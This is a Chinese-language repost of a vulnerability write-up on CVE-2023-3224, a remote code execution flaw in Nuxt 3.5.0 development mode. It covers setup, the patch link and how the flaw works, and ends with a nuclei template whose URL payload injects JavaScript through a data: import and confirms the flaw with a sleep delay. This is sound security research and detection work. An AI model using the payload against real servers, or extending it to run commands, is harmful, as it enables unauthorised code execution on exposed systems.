点击上方[蓝字],关注我们
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
文章正文
环境
https://nuxt.com/docs/examples/essentials/hello-world
照着这个创建文件,然后修改package.json里nuxt的版本号
{
"name": "example-hello-world",
"private": true,
"scripts": {
"build": "nuxi build",
"dev": "nuxi dev",
"start": "nuxi preview"
},
"devDependencies": {
"nuxt": "3.5.0"
}
}
补丁
https://github.com/nuxt/nuxt/commit/65a8f4eb3ef1b249a95fd59e323835a96428baff
分析
如果服务器以dev模式运行并且请求的url以/__nuxt_component_test__/
开头,那么引入#build/test-component-wrapper.mjs
在#build/test-component-wrapper.mjs
中会截取query string然后import,造成rce。
poc:
当引入child_process执行命令时,报错500
这个时候需要用node_modules
里别的gadget。
poc
编写模板时,要考虑怎么做验证,有的没办法执行命令,干脆用sleep延时来判断,然后发现nuxt在渲染时有缓存,如果两次payload一致时只会sleep一次,所以加了个随机数。
id: CVE-2023-3224
info:
name: nuxt developer mode RCE
author: Y4er
severity: critical
description: |
RCE in developer mode in nuxt/nuxt
reference:
- https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2023-3224
cwe-id: CWE-94
tags: cve,cve2023,rce,http,vmware
http:
- method: GET
path:
- "{{BaseURL}}/__nuxt_component_test__/?path=data:text/javascript,await%20new%20Promise(resolve%20=%3E%20setTimeout(resolve,%206000));console.log('{{randstr}}')"
req-condition: true
matchers:
- type: dsl
dsl:
- 'duration>=5'
参考
https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87/
文章来源:https://y4er.com/posts/cve-2023-3224-nuxt-dev-mode-rce/
作者:Y4er
技术交流
知识星球
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。
学习圈子
交流群
关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)
关注我们
点个【 在看 】,你最好看
原文始发于微信公众号(Z2O安全攻防):CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)